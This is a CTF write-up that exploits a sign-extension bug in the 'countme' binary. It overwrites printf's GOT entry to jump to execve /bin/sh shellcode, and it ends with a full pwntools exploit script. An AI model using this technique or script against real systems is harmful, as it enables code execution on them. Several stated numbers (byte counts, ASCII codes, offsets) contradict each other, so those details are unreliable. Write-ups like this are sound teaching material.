Bsides Canberra Countme-1 Write-up
Countme-1 (Pwn)
You can find the original question here. I really enjoyed solving this question. Shoutout to TheColonial and all the other organizers for making such an awesome CTF
So first, we run the binary through “file”, And it comes out to be 32 bit binary, stripped.
$ file countme
countme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=4bdd35b8440ee7f07fc9d8b57beec62c4ac19ffd, strippe
Doing a checsec on binary returns the following results. There is no NX bit, which is weird, and it also maybe gives us an idea that maybe we need to execute shellcode in this binary
$ checksec countme
[*] './countme'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
We then run the binary to see it’s functionality, and it looks like we have to enter a string, and the program counts the occurences of each character and prints it.
$ ./countme
aaaaab
Found 'a' a total of 5 time (s)
Found 'b' a total of 1 time (s)
Since there are no symbols, We pop the binary into Hopper disassembler, and figure out the main by looking at the cross references of strings.
So the main function starts at 0x8048475
, So now we can use gdb for dynamaic analyis.
By Doing some random fuzzing for 15-20 mins, here are some key points which I analyzed (without looking at the assembly atm)
- It can only count upto 255 occurences of a character, meaning each of them is stored in a single byte space only
- Chars which have their charcode value above than 127 are not being counted (which is kinda sketchy), So only ASCII characters are counted (or maybe they are just now shown)
Now for the analysis stage, here is an explanation of what exactly is happening
08048476 mov ebp, esp
08048478 push ecx
08048479 sub esp, 0x14
0804847c mov byte [ss:ebp+var_D], 0x0
08048480 sub esp, 0x4
08048483 push 0x100 ; argument "len" for method j_memset
08048488 push 0x0 ; argument "c" for method j_memset
0804848a push 0x804a040 ; argument "b" for method j_memset
0804848f call j_memset
08048494 add esp, 0x10
Firstly, A call to memset()
is made with the following parameters memset(0x804a040, 0x0, 0x100)
,
Which sets 160 bytes of memory (starting from 0x804a040
) to 0/NULLs.
The address provided here is a constant, meaning that it won’t change even with ASLR enabled. This should be noted for future reference.
0804849a push 0x1 ; argument "nbyte" for method j_read
0804849c lea eax, dword [ss:ebp+var_D]
0804849f push eax ; argument "buf" for method j_read
080484a0 push 0x0 ; argument "fildes" for method j_read
080484a2 call j_read
080484a7 add esp, 0x10
080484aa cmp eax, 0x1
080484ad jne 0x80484d8
080484af movzx eax, byte [ss:ebp+var_D]
080484b3 cmp al, 0xa
080484b5 je 0x80484d8
080484b7 movzx eax, byte [ss:ebp+var_D]
080484bb cmp al, 0xd
080484bd je 0x80484d8
080484bf movzx eax, byte [ss:ebp+var_D]
080484c3 movsx eax, al
080484c6 movzx edx, byte [ds:eax+0x804a040]
080484cd add edx, 0x1
080484d0 mov byte [ds:eax+0x804a040], dl
080484d6 jmp 0x8048497
In the first part here,
A call to read()
is made, which reads one byte and store it at ebp+var_D
. Then it checks if the read byte is not a newline (0xa
) or a Carriage return (0xd
).
If it is neither of those, it then increases a counter at a relative location eax+0x804a040
in which eax
holds the ASCII/charcode of the character we have entered.
So for eg if we entered “A”, the ASCII code of “A” is 0x61
, then it will retrieve the value stored at 0x61 + 0x804a040
, add 1 to the value retrieved, and then write it back to the same location.
Initially all the values are 0 because of the memset()
call in the starting.
080484d8 mov dword [ss:ebp+var_C], 0x0 ; XREF=sub_8048475+56, sub_8048475+64, sub_8048475+72
080484df jmp 0x8048516
080484e1 mov eax, dword [ss:ebp+var_C] ; XREF=sub_8048475+168
080484e4 add eax, 0x804a040
080484e9 movzx eax, byte [ds:eax]
080484ec test al, al
080484ee je 0x8048512
080484f0 mov eax, dword [ss:ebp+var_C]
080484f3 add eax, 0x804a040
080484f8 movzx eax, byte [ds:eax]
080484fb movzx eax, al
080484fe sub esp, 0x4
08048501 push eax
08048502 push dword [ss:ebp+var_C]
08048505 push 0x80485b4 ; "Found '%c' a total of %d time (s)\n", argument "format" for method j_printf
0804850a call j_printf
0804850f add esp, 0x10
08048512 add dword [ss:ebp+var_C], 0x1 ; XREF=sub_8048475+121
08048516 cmp dword [ss:ebp+var_C], 0xff ; XREF=sub_8048475+106
0804851d jle 0x80484e1
Now the final part of the program.
A variable ebp+var
C is initialized to 0. From on then, the value at ebp+var_C + 0x804a040
is loaded into eax
, and then checked if it not 0
If the value is more than 0, a call to printf()
is made which prints the value stored at location, along with the variable ebp+var_C
.
At the end, ebp+var_C
is compared with 0xff
and if it is less, 1 is added to it and the whole process is repeated again and again until ebp+var_C
is increased to more than 0xff.
What’s happening here is essentially each charcode from 0-255 is checked at their relative location from 0x804a040
, and if any of them is more than 0, it is printed. This can be represented as a C for loop
for (int i = 0; i <= 0xff; ++i){
if ( (int *) (i + 0x804a040) > 0){
printf ("Found '%c' a total of %d time (s)\n", (int *) (i + 0x804a040), (int *) (i + 0x804a040))
}
}
So far, we have analyzed the whole functionaltiy of the program, but we did not see anything which can allow to redirect code execution
In this case, the bug was actually very subtle and it took me a lot of time figure it out (dynamic analysis with gdb helped a lot). So here is the vulnerable snippet
080484bf movzx eax, byte [ss:ebp+var_D]
080484c3 movsx eax, al
080484cd add edx, 0x1
080484d0 mov byte [ds:eax+0x804a040], dl
There are two types of mov instructions used here, movsx
and movzx
. A quick google serach revealed their functionality
MOVSX moves a signed value into a register and sign-extends it with 1.
MOVZX moves an unsigned value into a register and zero-extends it with zero.
mov bx, 0C3EEh ; Sign bit of bl is now 1: BH == 1100 0011, BL == 1110 1110
movsx ebx, bx ; Load signed 16-bit value into 32-bit register and sign-extend
; EBX is now equal FFFFC3EEh
movzx dx, bl ; Load unsigned 8-bit value into 16-bit register and zero-extend
; DX is now equal 00EEh
So for movsx
, if we use it to move a signed value from 16/8 bit register to a bigger register, it will then extend the value with 0xfffs
to retain the signed bit (or thats what I think, correct me if I am wrong).
So if al
has a value more than 127
, it will extend it with 0xffff
, which result in a really large number being stored in eax
and the addressing at movzx edx, byte [ds:eax+0x804a040]
will go terribly wrong, and we will access much higher memory location than we are entitled to.
Since it is a really large number, It would more be like doing a small subtraction instead of a large addition because the addition carry is just lost
Let’s pop it in gdb and see if our assumtions are right
So here with my gdb-peda, I set up a breakpoint at 0x80484c6
, and now when we inspect the value in eax
, we see that it is a super high value. Now let’s see where does it point to, and what can we do with it.
gdb-peda$ x/100w $eax+0x804a040
0x8049fc1: 0xf0000000 0x946fffff 0x00080482 0x00000000
0x8049fd1: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049fe1: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049ff1: 0x00000000 0x00000000 0x00000000 0x14000000
0x804a001: 0x3808049f 0xb0f7ffd9 0x80f7ff04 0x36f7eda2
0x804a011: 0x00080483 0xe0f7e16a 0x00f7f2bb 0x00000000
0x804a021: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a031: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a041: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a051: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a061: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a071: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a081: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a091: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0a1: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0b1: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0c1: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0d1: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0e1: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0f1: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a101: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a111: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a121: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a131: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a141: 0x00000000 0x00000000 0x00000000 0x00000000
Here we see some weird addresses in the memory starting from 0x804a000
, and they look like libc addresses. Doing a vmmap
on the binary, we see that the memory after 0x804a000
is also writeable![] (assets/images/3.png)
By some educated guessing and some fooling around with objdump, I figure out that this is the GOT section of binary, where we can now write arbitary data. YAYYYYY!!!!!!
08048310 <read@plt-0x10>:
8048310: ff 35 04 a0 04 08 pushl 0x804a004 ; Address as shown in above pic, means we are at GOT
8048316: ff 25 08 a0 04 08 jmp *0x804a008
804831c: 00 00 add %al, (%eax)
...
08048320 <read@plt>:
8048320: ff 25 0c a0 04 08 jmp *0x804a00c
8048326: 68 00 00 00 00 push $0x0
804832b: e9 e0 ff ff ff jmp 8048310 <read@plt-0x10>
This means we can overwrite the function pointer of some function in the GOT (Global offset Table), and then when the function will be called, we would be able to redirect program execution. And since NX bit is disabled, we can write our shellcode at some location in memory, and then overwrite global offset table to point to our shellcode :)
The best candidate for placing our shellcode would be the buffer which is used to store the “count” of characters, since it is also at a static location, we can just hardcode the address in our exploit.
Since buffer stores how many characters of a specific char we have in our string, we can use that behaviour to write shellcode in the buffer.
We can take each byte of shellcode, and print the appropriate number of same characters, So the byte will be written into memory, and we can continue doing it with the whole shellcode, increasing the character code by 1 each iteration.
For eg to write 0x31
, we can give an input like "a" * 49
(or 49 times “a”) which will write 0x31
in a specific relative memory location pointed by “a”
Here is a simple python script which does that and creates a payload
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" #Shellcode from shell-storm
payload = ""
for k in range (len (shellcode)):
payload += chr (15+k) * ord (shellcode[k])
I am starting it from the 15th byte in the buffer because we can’t write to 10th (0xa) and 13th (0xd) byte on the buffer as newlines break the read()
loop.
So by looking at gdb, it looks like our shellcode has been written at 0x804a04f
![] (assets/images/4.png)
Now we just need to overwrite an entry in GOT, and I believe we only have one choice, ie printf()
because we can’t overwrite read()
as we write byte by byte, and if we write byte by byte to read()
GOT entry, the program woulg segfault without completing.
08048330 <printf@plt>:
8048330: ff 25 10 a0 04 08 jmp *0x804a010
8048336: 68 08 00 00 00 push $0x8
804833b: e9 d0 ff ff ff jmp 8048310 <read@plt-0x10>
It looks the printf()
GOT address is located at 0x804a010
, and by doing some simple offset calculations (and trial-error on gdb), we come to the conclusion that we can overwrite the printf()
GOT by using chars 208-2011 (LSB to MSB).
Since printf()
has not been called earlier, it would still have a trampoline (PLT)
address stored in the entry (which is static, unlike the resolved libc address, which changes with ASLR. So we can just calculate the difference those two addresses, and then write to the GOT byte by byte.
Shellcode Address ==> 0x804a04f
Printf Stored GOT Address ==> 0x8048336
Since the large two MSB’s are the same, we only need to change the lower two bytes.
The difference between 0x4f
and 0x36
is 25
. And the difference between 0xa0
and 0x83
is 19
. Since we can use the chars 209
and 210
to write to the LSB’s of printf()
, here is out final exploit
payload += chr (209)*29 + chr (208)*25
Thus our full payload is completed here. Here is a full python implementation of the exploit (using pwntools)
from pwn import *
shellcodeLocation = 0x804a04f
# 0x8048336
r = remote ("127.0.0.1", 8000)
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" #Shellcode from shell-storm
payload = ""
def exp():
r.sendline (payload)#Payload sent
log.info ("PAYLOAD SENT")
log.info ("You should probably have a shell now")
r.interactive()#Interactive shell
payload += chr (209)*29 + chr (208)*25 #Overwrite last two bytes of GOT of printf, addresses are compared above
for k in range (len (shellcode)): #Making a payload of the shellcode (byte by byte) for the binary
payload += chr (15+k) * ord (shellcode[k]) #Writing the number of bytes needed to set the appropriate memory, starting from 15 cuz earlier values were kinda misbehaving (0xa (\n) ended the loop)
log.info ("PAYLOAD CREATED")
exp() #Sending the payload
Thanks for reading,
Jazzy